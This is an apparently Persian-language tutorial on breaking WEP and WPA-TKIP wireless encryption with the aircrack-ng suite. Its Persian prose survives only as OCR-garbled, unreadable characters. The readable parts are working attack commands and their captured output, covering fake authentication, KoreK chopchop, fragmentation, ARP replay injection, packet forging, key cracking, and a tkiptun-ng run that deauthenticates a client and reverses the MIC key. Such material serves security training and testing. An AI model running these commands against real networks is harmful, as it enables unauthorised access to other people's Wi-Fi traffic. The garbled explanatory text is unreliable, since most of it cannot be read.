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2 Jo)l slo oS, Header aSil a4 axg5 L) ARP slo aas aseis 5o KoreK alos (900 45 S jguas s loilo 55 o]
LT elgime i s 5008 Lot Vol Lol ey sl 3ilSel iy ST s LT s Jlos) 5 (Wigd o (6,550 ot (5bo 4505
O3 Sngy S| g3 5lw) 0 Jlo )l Toaze 5 Jax 1) ol ARP clgs 1o Loy a8 aisl il 099 aSils jo oodS 51 L6 5 oS
el 03l 252y Dygo j0 Sud ggw jl gd (Vsb a5l iy Weak IV 551 pex gy Lot il cel (Soe (2
Slasl fley ol Vs was o e DyNamic & jpay wls Lyld g by o ClidS 5l e |y, WEP oIS a5 Dynamic WEP
Ol Lo 4y a5 canl g, alem sl oogs o] 5ieSs sl IV 651 ma Jlo 5o Lo a5 o) WEP oIS i b el (s5lone
0lS s ) B oSy o oliS e, sl et Guils a8 ol obiyS uisT akes s 1j 985 e 5 |, Dynamic WEP L alli

Cowds Hl5 890 Cngy eS| pgas 10 adgl Sledbl 5 48,5 15 Monitor cll> o &)l5 lal el o Korek alo> slxil 55
5 ledbl zl )5l 5 05is sl Airodump-ng Il 5l G 5 &5 Cll> o5 6l Airmon-ng 1l 51 ol o )5 cpl 6l ]
, 1, chopchop Lol 58 o5 sl colils ples 4! s odle Aireplay-ng .o,5 eolavwl alo> sl Aireplay-ng Il 5l coles 5o
6500 S &S (Jyg0 50 el 03,5 (g3l 03l Toazme 5 eatiey S 5 | Al gy (izmen 5 o] sl Sl (B ols 5
3,5 ooliiul a5 S50 wims yd] o 5 ol Lt oot algi Kbl 5l olgt e Al Stygy ST 5l oolizial Jl> s 00iS ales 32

gy ST 4 1) 355 wierw 53545 V' Fake Authentication ales 5l oslitul L KoreK ale> 51 L3 ol (oo & jgais] 5o o

51 gyl pll 5L i Fake Authentication ale> plosl ans S Jlo)l o3lxl g5 4 Cingy ST B oS Syr0 g Jaio
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3,50 50 SMbl ruils a4 o5l ol a4 S Jloyl g Cangy ST SO 4 ol Assosiate gl asl oo Cing ST 4 Odes

10,5 18 ooliil 5550 5 &g Aireplay-ng Il by o cobld 5l osliiwl b candlS a5 ) K50, 0SS b o 4

| aireplay-ng -1 5 -e name -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 athQ |

n n

2" g e 450D pb Byme " ) LSS 4l 5 e ke 1S5 G,ae “5% 5 Fake Authentication ali> Gyae "-1" e
alie 2,5 Lod ala> oy o] CBBge &g 4ol ools 1,8 slixul 8,96 15T macchanger asle )lnl lawg g 00,5 sl

255 aeplys 28l 5

18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)

ol 5 Fyge 0 izman S oolitu (e (slo oyl Ko jl dloax (5ly oylpan 3955 o 4wogr - MIAC Address Spoofing
ST o) iz 0 45 kil iy ST 0 MAC Filtering col o ilSo 1 oolizl ] cde ool Koo s i dzecsi s ala>
oly e 0ol 5 Cn iy Seogdme Cnl G118 sl oo o Jlail ool ks Epme Sy T oyl Ko (Sl (sl s 4 o Sy
C 5 ok Jale Sy ST S b 45T Gl o o il popo] Ko iz (055 Gy 5 HT o Sy ST Sy 050
095 a5 Sl Ly Ko ki b Loy MAC Add. Spoofing ale> o .l 00,5 Jlu,/ Beacon sl o Lis i 5) ledb/ slo
ole sy 090 dedlyS o Jlogl Codgime ul 53] 490 0 Ol S gy ST 40 0k i 5 jlrme slo puyol ST
pe Sygo 40 eTpid ol pecin o bl ol jglhite Gt ol agd il slo aoliy g o)) I oolit] pilice I G ey
sl gl 455G g5 Sl plonil |y 1S ) a7 o s ol s 355 g dthessy i o0lol (sl ooy ool 5 Lo [l 1 oslizd 4 slai

DS g Sy ST 4 (s ASSOciate) Jlail ;LS Cawl (o 0] Ko pdi 45

22,5 511, KoreK ale> 5 ,9ws b o)lg5 o Fake Authentication sl coidge sl 5l

| aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0 |

Jaie 550 CoMS SO b g 55585 pimmmn ()0 S Byme "-h" (i pulas KoreK alos 5l eslanal sl 1 15l "-4" Jlw ol 5o
solizsl 3,50 il o6 "D Cules )0 5 gy ST oyl o olad b BSSID 6aisS paseiie "-b" el gy eS|
boad 5oy O S 0std 50 Culibge oo ay il (UGl ooy aSed o o (Vs s 9) obsS ey Ste ey Logas o
05 s op g LT 4 0 Jlgms el S 5,08 oo amrb Led 3l alas sly 5y ] 5 ealial 5| iy 5 o0ls pliny Lot 4WEP
D Sy el g )5 2V s et o e b s S5 3,50 50 Lo L e ala aly 90,55 0B |, 5 Cenaly o
ol Ay o 05 o 5w e OBl ARP oSG G 05 Sygeo 40 (00l <ol 80 130 ) wib asly Jg8 LB g o5 ple L
5Ty ales Aireplay-ng ol 51w 0,5 olobs lg oo cusl FR:FFIFF:FFIFFIFF o5 Wil saie (wyol 55, 51, ARP slo oS
s Mg K5, 5o eolitul 3,50 PRGA (g5l XOdigun b (5,550 bl g oo ol 5, oS0 Jolds (29,5 Bl 90 ol 0 g 00,8

el oy Sz gy ol 50 Il (2 e,5 0,5 eudles ooliiul waz sla &S5 adgs sl ol 5l aslsl jo L as S
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Read 165 packets...
Size: 86, FromDS: 1, ToDS: 0 (WEP)

BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:40:F4:77:E5:C9

0x0000: 0842 0000 ffff ffff ffff 0014 6¢7e 4080 .B.......... r@.
0x0010: 0040 f477 e5c9 603a d600 0000 5fed a222 .@.w..:...._.."
0x0020: e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543 ...H......._=..C
0x0030: dlca 0c9b 6aeb fadé f394 2591 5bf4 2873 ....J.....%.[.(s
0x0040: 16d4 43fb aebb 3eal 7101 729e 65ca 6905 ..C...>.q.r.e.i.

0x0050: cfeb 4a72 be46 LJrF

Use this packet ? y

Saving chosen packet in replay_src-0201-191639.cap

Offset 85 (0% done) | xor=D3 | pt =95 | 253 frames written in  760ms
Offset 84 (1% done) | xor =EB | pt =55 | 166 frames written in 498ms
Offset 83 (3% done) | xor =47 | pt =35 | 215 frames written in 645ms

Offset 37 (92% done) | xor =13 | pt=01 | 232 frames writtenin 695ms
Offset 36 (94% done) | xor=83 | pt=00 | 19 frames writtenin 58ms
Offset 35 (96% done) | xor =4E | pt =06 | 230 frames written in 689ms
Sent 957 packets, current guess: B9...

The AP appears to drop packets shorter than 35 bytes.
Enabling standard workaround: ARP header re-creation.

Saving plaintext in replay_dec-0201-191706.cap
Saving keystream in replay_dec-0201-191706.xor

Completed in 21s (2.29 bytes/s)

asls aBTWEP oS 5l Lo oSl sy el Sngy ST s Jlos )l g1y 0lgsds slgims b asoz o8 S5 oy cdlas 40 o al>ye
4 a5 og anlss ARP cilgs 10 G Lo oads adss oSG sl LIS ol plasl (6l p5Y Sledlll (g5l (XOT. L) L3 al> 1o =55 il
(Sl SIS 45,25 5y 55 i) S5y b 3 ks Adgh €oma 55 5 ooy JLo) @ pme | (53 5 aalys o) Ll ity oS
Sl lp e b psY slo Weak [V 5 s oS slows ()] go 4 0B absS )loy o ,0 Lo b o alss o HI5 ol 5 wiS

09l oo oolitul i &g packetforge-ng !l wos Jax oS

packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EB:C5:2B -k 255.255.255.255 -| 255.255.255.255 -y replay_dec-0627-
022301.xor -w arp.cap

5,5 salys Jl,l Toaze broadcast o g 157 2l 0 5w Ciogr ST 45 8,5 pudlys ades ARP wos 0 SO o oS 5 oo

S Gyra "D g ity ST o] o B ymo B aiilen " 2" sl o ity 255.255.255.255 .5, "-k" saio oyl 1y
U‘?‘“‘“ oolazw! 0)9.0 uu)é] Sae aS ..\....SJ 045.4‘)5 C«u‘ p.:l oo; oalazw UT uu).)T Sae )‘ J.\_‘) J}‘)A )d as LSQ'“M L> Lo p...m.:.w ou)éi
"y g brwg O ol sl jghaies sl oo ASSOCIAtE 5 Jate Cingy ST 4 4T ail (gotians 45 bgype Gl oo CS

A8 smlyS 053 ATP.CAP il s oud 0 S Cules 50 055 hyme il 4 Gl so LS Al e s 0ud agi XOT. L6

0y g o ddgi sla TS vl 4y pladl Airodump-ng I3l Lwg o] Sllee a0 g 05,5 Jlo)l oyl cang penST a1, S ol b

feS ol gy Jlie asile (5,900 Lawgs |, Airodump lasl oS o ol Statistical ale> sl Ll
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‘ Airodump-ng —w output —channel 6 —bssid {AP MAC} athO

2 Omizmed ol Jlad T (65, 5,5 5550 Cingy ST AT ail LIS Gl o 0I5 0 0528 ] (55, » Airodump-ng a5 LIS
(8,0 la S5 pols s 1l 68 el jekaies iS e Ly cilise slo JUIS oo Airodump a8 55 i sgid Sl B
S b)) slo oS s 500,85 ald ) 8l o slo oS, "—bssid" migw 05i o coli "—channel" zisw lhwg oss JUIS
Aireplay-ng 15l lawgs a5 aw; (oo 18 oo a3l <S5 Jlo)l ploj a0 0,31 j0 i o 0,33 |y Lo a3 5590 Cungy (S|
Loy W3 a5 oSG gol> B "-r" Lug g oo coliiul INteractive o ga olgsds o5 Jlo,l glp "-2" 558 o plosl 15 &y

88,5 oo adas 5l & o a3l packetforge-ng Il

| aireplay-ng -2 -r arp.cap ath0 |

G oy Sy & Siygy STl Sl ool gla oSG olaai oS ys ealss a@irodump-ng Sljlse 0 jsies cnl @l 5l ey
gz g dualgm WEP oIS 2l ,5eial gl p3Y sl oSG slawd ()] gz 4 106 Lo aiBo sizx (o0 ;0 a5 (g 9k aiiS o il58l
BADIt WS S eSE gl (i Lo s ae b IV 5l b &Sy 0l 790 51 i dly o 48) sols &y 20000 Tsgas s,
L6 55, » 1, Aircrack-ng Il @irodump o S Ggie 4 Lo g0 suly oo lad &S sl ol o g bl 0 coleS
Toazma 1y 15 ol cas oS St 4y 3890 5l aiBo iz CbdS L aS g0 10 g 0 |l @irodump lawgs eod odgs (>9,5
bog 0lS iuSs Joe AV BI olas gog oyiws j0 g JToml lulpd (0 0SS5 S0 oS5 e iz ad 6l @ox 5l oy
" &g | Airodump-ng il canslS o1 5l eslial lp opiS salg Job 4l aim s (lyl as op 21 ,0) Aircrack-ng
as ol o Airodump-ng Iyl >9,5 b les "output.cap” .usles axs Jaie 5 08,5 121" Aircrack-ng output.cap

d}.pu’door}o L;)L?)'#““")Q

A5l i iy ol Ale ] 4 s 1 gy ST 5 B g 0,05 3925 KOTEK ales 5l oalitl el aian 4yl 51 i
ol b bl gl o gy oS b5 (glo sy 5 52 2,5 syt |, FrAgMENtation alas sl lSel Blsive ol iz 5o
LT KOreK a5 sl slo cinss el oLl CRC L sl aiy Loyl sl G396 oo ohins 5| s S 30,5 SO e
Moz g Allie gam isu ;0 WPA (g9, 5 alas ol plonil S] .l ouls 2i5 o (g0L; 0> G WPA 5 &S o oolatul a5l
5k allie 2ou ol po SMe> plo S 4 ala> (nl 930 53 i edy Sde 5 S8 Gals 8 (o) 3590 WPA e s

Lol 039 gam slo isw yo Gl w gl

0 )5 ka5l ales 5l alol> ol ) cisu oS o0l byme WEP ade suy0s ala> iS5 2006 Lo 4o : Fragmentation Attack

The final nail in " slu ol dlie cov alom (pl SLSjm sl Sglite SLlS T plol (g, Lol ail oo KoreK alos alie o115

o> plul b o iiie b odsl 6lp o] B o e ales sle onl 5 b S5 a5 wl et "WEP's coffin
65,5 oliSie, KOreK abos 4 Cos a8l oy Sate yo |, WEP lawsgs oo (6,550, dtew S ol o © Fragmentation
Ol 50,5 plp aS) pls Lylys 0 e ol bawgs Crizmed 0,5 zlyseial 1) oS 6 Kje, sl oads eoliiwl PRGA 51 201500

Cingy oS SSS ol 5l ool gly 05 o o2l,8 Re@I-tIME & j5m WEP (lo oS laS e, Sl (G JSin o olai
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Clugy eS| a5 il asls JLas] jo Co il (0 0e5 S Gt plagn SO g 0aisS alas g aldly ow s ol 4 Canly oo
o yeis DYyNamic o yga |, WEP oS a5 Sla ciygy ST 59, 5 s> Fragmentation ales .ous 1)1,3,, L1 T L wilgs
e WEP ol sla cars cols Giudisy (sl o5 oaisS adgs 51 S a5 Dynamic WEP ol jSal, g 00 5l IS 55 simo
WEP oIS asul 5 iy PRGA 1551 conay 4o ales il oYU Sty ol ) e ool iy ol alos ol Blie jo 5 2o,
sy 38505 CRC-32 (g5l ool JSio 5 (5,550, oin,55) g9, 0 a5 KOreK Gl alos ol .ol S o5 dynamic o ga
sl gl Juds 5 ARP > slo canlgs o Jloyl p o] Goll 5 0)ls 4S5 802,11 JSGg, 095 (g5l ooly slo cans (59,
o Glsime 5l ol idu g oo BB g g Laseie ARP sla oSy 5l esliiul cile .canl PRGA gl 5eial sl G 51 33l
Plain-text Attack o> (53l ooly oSKal g5050 (g il co psd Sl ;0 ARP ais G 5l oy aiz g &Sl 9 ol &S5
5l 51 oolatl(gu) 3w alem pb Lice .0iS o ol 3 (5,550, 40 soliul 5,50 PRGA 5 sols zl 3l gl 1) (6,550, 0,651
A sk st Ll Fragmentation psspie b oS Si0 50 .ol 802,11 JS5g, ,0 oo 55le ool Fragmentation
JB o waie 4 (Packet Payload) o1 (slgime Jlo,l g oSG SO (0,5 axkad axkad) inSls ol p g0 lobinl g (g, 151 olgie
Oy S s @ el JT L g 03, o 5 wa b Toasme s 5l o |y Tme 56 iz nl 08 45 sk 57 o e oS wix
Aoz 45 058 (o cumw 802,11 IS5, ;0 WEP 5l sl ,LS o Fragmentation (sjle ooly ;o cand 0,5 salgs 5,95 55 axly
@ 3990 g IV G L &jgo ooy ates 16 5STos Jloyl 5 o0l 8 ilakad a4y 00l jo, a5 (40,5 fragment L il suss
el walgs ey o3lital 5y50 PRGA 5l cul 8 il s oSy ol & Cugy ST gooly Julows 5 o g 00 o0ls <ol 64 5,5
3,95 p Iime yshay Jlo)l sla fragment ol 51 G jo b aS col S5 uen 0 55 802.11 o fragmentation ;L eoly cars
oz plnil 5 9,8 Glp WS (o0 )50y |y Gl 5 008wy wazr IV S T 51 S e sl 4 Lol sla gl o g o)
5 Fyere Ll o g el il Cygs ST 5 (BEACON &5 5) Sledlbl ol S S L ¢ JBlas il o Fragmentation
adl o ol 3 sy ol s (S iz il sl ) o 5 (S sl 4Kt e Sl 6 e sl oS o
by Gy a4 Sl o L alex Jsb o Jlojl sl <85 (sles Jlo jokay 0l 53 pols gl saiejli KoreK L anslis 5o
oS ool (dme ol @ ol g el o IS (50,55 Canl e 4y a0 (0D o5 09 051 LT Az g oad 2l o Cygy ST
Gy ST 4y ol ASSOCIAte primen Bl oo ool Sy eS| & S CaieS b ol wuo rdls akes ool pll gl
KoreK ales ;i yiios jlws Ligae Fragmentation ales> sl gl Jlo)l sl <S5 olaws coles 1o .l alos cpl ol 55 i
oo gl a1 50 2¥he> b KOTEK alom Lasss a5 551 el sy 3 (0L s (sbl5e Lot 9,90 ol JL 13 a2 5T il (oo
B 5 009 LT o 3y50 alie 5 09d g0 Aoy dlax 4 bgypo ol dllie uilys bz ool 5l (26T sl il walyss

s (s ‘;,.il B o 550 dllie (5...153)1_; 4 sl Q-i‘)‘. Lo .l oslaaw! JB g0l o l;;}:sr:y,.c &l aslie &Y 3l 6l

alo> (sl azi] alie Fake Authentication ale> 5l adsl Jolre plol 5l ey .ol KOrek alic 5 alas> cpl 5l ooliiwl bg,

209 ooliiwl yj & yea Aireplay-ng Iyl 5l cal S wls osls musgs KoreK

aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D ath0

) g il oo Sy ST Lo yol Se Bae "-b" g Fragmentation ale> Gyae "-5" ails p3Y ool meog o35 oo ;S8
3§ 5 o Ay ol ales 09 jual Cudidge Oygo 40 0l gl Sl PRGA g4l .XOF LG 5 005 KOreK alie Lue alos>

L was o CadlS ol o KoreK alos (sl 0ol 00ls oy 8 lge asline dyo S5 odgi sl il 51 eolaal Jlg, < bl ol
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a4 pladl Airodump-ng Lug ol Ollse 4 g 05 Jlo,l 1T @ireplay-ng -2 5l solaswl b 5 00,5 oy packetforge-ng Lg

1ol o ) Jlie alie Fragmentation aes ol,2] 29,5 oS 00l 0dgs Gl OS5 Jus 0,053 g 090l

aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D ath0

Waiting for a data packet...
Read 96 packets...

Size: 120, FromDS: 1, ToDS: 0 (WEP)

BSSID = 00:14:6C:7E:40:80
Dest. MAC = 00:0F:B5:AB:CB:9D
Source MAC = 00:D0:CF:03:34:8C

0x0000: 0842 0201 000f b5ab cb9d 0014 6¢7e 4080 .B.......... I~@.
0x0010: 00d0 cf03 348c e0d2 4001 0000 2b62 7a01 ....4...@...+bz.
0x0020: 6d6d ble0 92a8 039b cabf cecb 5364 6e16 mm....... 0..5dn.
0x0030: a21d 2a70 49cf eef8 f9b9 279¢ 9020 30c4 .. *pl.....".. 0.
0x0040: 7013 f7f3 5953 1234 5727 146c eeaa a594 p...YS.AW'.l....
0x0050: fd55 66a2 030f 472d 2682 3957 8429 9ca5 .Uf...G-&.9W.)..
0x0060: 517f 1544 bd82 ad77 fe9a cd99 a43c 52al Q .D...w.....<R.
0x0070: 0505 933f af2f 740e L2

Use this packet ? y

Saving chosen packet in replay_src-0124-161120.cap
Data packet found!

Sending fragmented packet

Got RELAYED packet!!

Thats our ARP packet!

Trying to get 384 bytes of a keystream

Got RELAYED packet!!

Thats our ARP packet!

Trying to get 1500 bytes of a keystream

Got RELAYED packet!!

Thats our ARP packet!

Saving keystream in fragment-0124-161129.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Sg 4 Sngy ST (50,5 Jloly (gl fSan B9y 2 @ 9 ) See £98 4 wls ale> ol : ARP Request Replay Attack
o5,55 4 Statistical Attack 1y o5V lo oSG slaws s 4> o Cepu b ol B el i IV ases (o 9) eols o oS
Packet injection (sl eolatwl 5,90 &5 uizmed g JuKws CuiS 9 &508 4 ke Siwnly 302 (pl) dwo p a5l 50 &S 500 4
oobel 1oyl cawas |, WEP (piSis sl oY sl Weak IV g ls oSG slows aids 151 a8 0 0gr aunles 0B L opl p Lo o(s,ls
he & Sl )3 35nh b a5 el Sy a5 e, el yige oolall 393 Solu e 0 TARP Request Replay ale> IS
8L )S Ay 3 Gy eS| 058 o0 s IS ) 0S o Jlo )l Gy ST 4 Touzme | 5T aSts 315 5T ARP a5 il o
a3 > ol pll T o Casds w1V G IS cpl (1SS 5L 5o b ol o Lo sas IV GO Ll asS i o)bgo |y oo 32,55 5
00iiS Loyl saisS Lasine a5 <S5 (Header) ;lsie 5 54 (o 30, 45 cowl <S5 Payload s WEP l soliral yle; 40 4 802.11

S5 035,58 wyol Ko ) ARP sla oS5 0 ooliiul 5,50 ol dalio 4 4z g5 b aaile (oo (Bb 03,558 Cawd Sl K 0aiiS Bl 0 4
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o eSS opl panis ool Cob 36 il g coli loges Arp slo &S oo a5 a5 0l 9 (Gl FR:FF:FF:FF:FF:FF o lsan arp o
sads e, (Payload) sl 51 a1 4 5L e 1) b &S5 opl Gl (oo (o ol yure (1 55 WEP i solatul &jg0 j0 >
.é; JLM;)| T.)..\;;.o 9 oo;d.a.? header 5 o.\;.’;.m).é u..\).)")a.\.:.: L: Lﬁ"‘ LQ)T

e Cygy ST a 355 Ly 00iS alos CendlS alam ol plonil sl 955 oo 55 o plonil s s alom ] pilSe Sols
CaMS S o] Ko 48,591 s 5 ST 055 L L g (08,5 18w, 9,50 45 Fake Authentication ales> jl eslaiwl L) 54
50 1y b asles 60 sl 4l 4 yoie g 03 Cuglsl sl)ls pes Cl auS ooliiul dlex (gl o] 5l gy ST 4 Juaie 5 JUi
sheolatul 4y b et ciygy ST a5 JLs )l ARP (slo oS 0539 pos doyll 40 g Sl a4y Juatle CipdIS 5 S8l 5 0929 pae O jg0
5 (il o2 ARP g4 5l wilgs o a5 )og sumlss sols oSy S 51 PRGA zl el sl KoreK L 4 Fragmentation ale>

00wl Cewds PRGA 5l ooliiwl L ARP oS G oy colys

sl Airodump-ng 1581 o 5 slx! Sljlge a4 gy ST @0 &S Jlo,l sl o jlxe 9 Fake Authentication sl 51 ey

s 1,8 ool 5590 5 g |y Aireplay-ng Il cawdlS ol ol sla IV (5,51 g g 815 05

| aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0 |

Sz 5o 35 -h" asl o (BSSID) cingy (ST Luyol S 8,a0 "-b" 5 ARP Request Reply alo> G,a0 "-3" cdl> ol 50
o) S 508 sl SIS pols 18 Bas g 40 g dedd e (o] S il 005 oolisl Fake Authentication | a5
) zy29 4,15 axs Aireplay-ng L.g Packet Injection gg,0 b el Jate cingy unST 4 ol Jl> 50 a5 canl oS
Sl sl eslaal Gloy IV p3Y slows 5,50 goz 5l g Coles 0 09 aalys esalie LB Airodump-ng Iyl >33 olo,lS
Gl oo WEP oIS oty 4t 9 Lol B 1ol 51 alos ol (g pm lame 50 alos G g a8lg bl i )0 10w, o 1,8 Aircrack-ng
Dyge 3 rizad WSS el 380 S 5l el (s ol (aKtslojl laoe ;0 az ST il il L oy a3 10 65
baslh ai (o 05 ooy o 128 0llS (Sou)ls st b IV (6ol mom a1 55 Loy o 256 L 128 (sla oS 51 ool

ool (1S BB ools =S5 40000 (51 pox

Caffe- ) wil suss s5le ool Aireplay-ng 5l ,o 5 aso 549 WEP b ablie cilises g oglie bl gl 5 6,500 sla o,
o5 oo o LSl 0 )15 g Byme 4 Lo o e 04190 b LT plowl Jlg, caless Loy o5 (latte attack & Cfrag attack

Ol Jaite oS G g Caigy S| (g0l Lindigy 095950 50 Sl (oo aloz plal sl gole Lal,i o - Caffe-latte Attack
Oyt il oolatul LB "-6" zisw lawys Aireplay-ng ,lul o a5 alex> SSS ol dlewgs ol aloil 1) &M g B cils 13
ails 18 Lo odgame ;0 Cingy ST 4 haie G s a5 S0 40 > |y WEP Sls gl ¥ slo IV o ,5] coay § alos
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@ ol b 0 a5 caodS o MAC 51 eolasl 3 MAC Address (5,5 Ja> Chop-Chop L3 de> 5 5 ales> ol 50
Comls (oo 00isS dlax cpime MAC S (0,51 s g S5 090 5 L ekiie (s ol (oo all ol Juatte Cingy oS

BB s o] Cawds Gyl pl 4 g a1, 395 MAC

] 00 oo)5—‘ Gyl el g 5l a8 3 00) QT 297 5 ol Mged cpizmen g Il 5l oolaiwl ogm 31 Jle 5 0

| Tkiptun-ng —h {Valid client MAC} —a {BSSID} —m 80 —n 100 athO

#tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 rausb0

The interface MAC (00:0E:2E:C5:81:D3) doesn't match the specified MAC (-h).
ifconfig rausb0O hw ether 00:0F:B5:AB:CB:9D

Blub 2:38 E6 38 1C 24 15 1C CF

Blub 1:17 DD 0D 69 1D C3 1F EE

Blub 3:29 31 79 E7 E6 CF 8D 5E

15:06:48 Michael Test: Successful

15:06:48 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9

15:06:48 Found specified AP

15:06:48 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs]

15:06:54 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs]

15:06:56 WPA handshake: 00:14:6C:7E:40:80 captured

15:06:56 Waiting for an ARP packet coming from the Client...

Saving chosen packet in replay_src-0305-150705.cap

15:07:05 Waiting for an ARP response packet coming from the AP...

Saving chosen packet in replay_src-0305-150705.cap

15:07:05 Got the answer!
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15:07:05 Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.

15:07:25 Offset 99 (0% done) | xor =B3 | pt=D3 | 103 frames written in 84468ms

15:08:32 Offset 98 (1% done) | xor = AE | pt =80 | 64 frames written in 52489ms

15:09:45 Offset 97 (3% done) | xor = DE | pt =C8 | 131 frames written in 107407ms

15:11:05 Offset 96 (5% done) | xor =5A | pt=7A | 191 frames written in 156619ms

15:12:07 Offset 95 (6% done) | xor =27 | pt=02 | 21 frames written in 17221ms

15:13:11 Offset 94 (8% done) | xor =D8 | pt =AB | 41 frames written in 33625ms

15:14:12 Offset 93 (10% done) | xor=94 | pt =62 | 13 frames written in 10666ms

15:15:24 Offset 92 (11% done) | xor = DF | pt =68 | 112 frames written in 91829ms

Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:18:13 Offset 91 (13% done) | xor = Al | pt =E1 | 477 frames written in 391139ms

15:19:32 Offset 90 (15% done) | xor = 5F | pt=B2 | 186 frames written in 152520ms

Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:22:09 Offset 89 (16% done) | xor =9C | pt =77 | 360 frames written in 295200ms

Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:26:10 Offset 88 (18% done) | xor =0D | pt =3E | 598 frames written in 490361ms

15:27:33 Offset 87 (20% done) | xor = 8C | pt =00 | 230 frames written in 188603ms

15:28:38 Offset 86 (21% done) | xor =67 | pt=00 | 47 frames written in 38537ms

15:29:53 Offset 85 (23% done) | xor = AD | pt=00 | 146 frames written in 119720ms

15:31:16 Offset 84 (25% done) | xor = A3 | pt =00 | 220 frames written in 180401ms

15:32:23 Offset 83 (26% done) | xor =28 | pt=00 | 75 frames written in 61499ms

15:33:38 Offset 82 (28% done) | xor=7C | pt =00 | 141 frames written in 115619ms

15:34:40 Offset 81 (30% done) | xor =02 | pt=00 | 19 frames written in 15584ms

15:35:57 Offset 80 (31% done) | xor=C9 | pt=00 | 171 frames written in 140221ms

15:37:13 Offset 79 (33% done) | xor =38 | pt =00 | 148 frames written in 121364ms

15:38:21 Offset 78 (35% done) | xor=71 | pt=00 | 84 frames written in 68872ms

Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:40:55 Offset 77 (36% done) | xor = 8E | pt =00 | 328 frames written in 268974ms

Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:43:31 Offset 76 (38% done) | xor =38 | pt =00 | 355 frames written in 291086ms

15:44:37 Offset 75 (40% done) | xor=79 | pt=00 | 61 frames written in 50021ms

Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:47:05 Offset 74 (41% done) | xor =59 | pt=00 | 269 frames written in 220581 ms

15:48:30 Offset 73 (43% done) | xor =14 | pt =00 | 249 frames written in 204178ms

15:49:49 Offset 72 (45% done) | xor =9A | pt =00 | 183 frames written in 150059ms

Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down.
15:52:32 Offset 71 (46% done) | xor =03 | pt =00 | 420 frames written in 344400ms

15:53:57 Offset 70 (48% done) | xor = OE | pt =00 | 239 frames written in 195980ms

Sleeping for 60 seconds.36 bytes still unknown

ARP Reply

Checking 192.168.x.y

15:54:11 Reversed MIC Key (FromDS): C3:95:10:04:8F:8D:6C:66

Saving plaintext in replay_dec-0305-155411.cap
Saving keystream in replay_dec-0305-155411.xor
15:54:11

Completed in 2816s (0.02 bytes/s)

15:54:11 AP MAC: 00:40:F4:77:F0:9B IP: 192.168.21.42

15:54:11 Client MAC: 00:0F:B5:AB:CB:9D IP: 192.168.21.112
15:54:11 Sent encrypted tkip ARP request to the client.

15:54:11 Wait for the mic countermeasure timeout of 60 seconds.
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o http://msdn.microsoft.com/en-us/library/aa503132.aspx

1% http://www.inguardians.com/pubs/Vista_Wireless_Power_Tools-Wright.pdf
" http://en.wikipedia.org/wiki/EAPOL

2 http://wiki.wireshark.org/HowToDecrypt802.11
 http://www.aircrack-ng.org/doku.php?id=airdecap-ng

" http://www.netstumbler.com/

™ http://www.metageek.net/products/inssider

16 http://www.vistumbler.net/

7 http://iase.disa.mil/tools/index.html

'8 http://download.eeye.com/html/products/retinawireless/

' http://robota.net/

2% http://www.kismetwireless.net/

2 http://www.aircrack-ng.org/doku.php?id=airodump-ng

22 http://www.remote-exploit.org/codes_wellenreiter.html

23 http://community.corest.com/~hochoa/wifizoo/index.html

** http://madwifi-project.org/

% http://research.microsoft.com/en-us/downloads/994abd5f-53d1-4dba-a9d8-8baldcccead7/
%% http://backtrack.offensive-security.com/index.php/Howto

*” http://forums.remote-exploit.org/bt4beta-howtos/

28 http://www .kismetwireless.net/documentation.shtml

2 http://gkismet.sourceforge.net/

*% http://www.aircrack-ng.org/doku.php#aircrack-ng_suite

*! http://www.aircrack-ng.org/doku.php?id=airodump-ng

%2 http://www.aircrack-ng.org/doku.php?id=injection_test

* http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy

** http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf

** http://en.wikipedia.org/wiki/Rc4
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*® http://en.wikipedia.org/wiki/CRC-32

*” http://en.wikipedia.org/wiki/Stream_cipher
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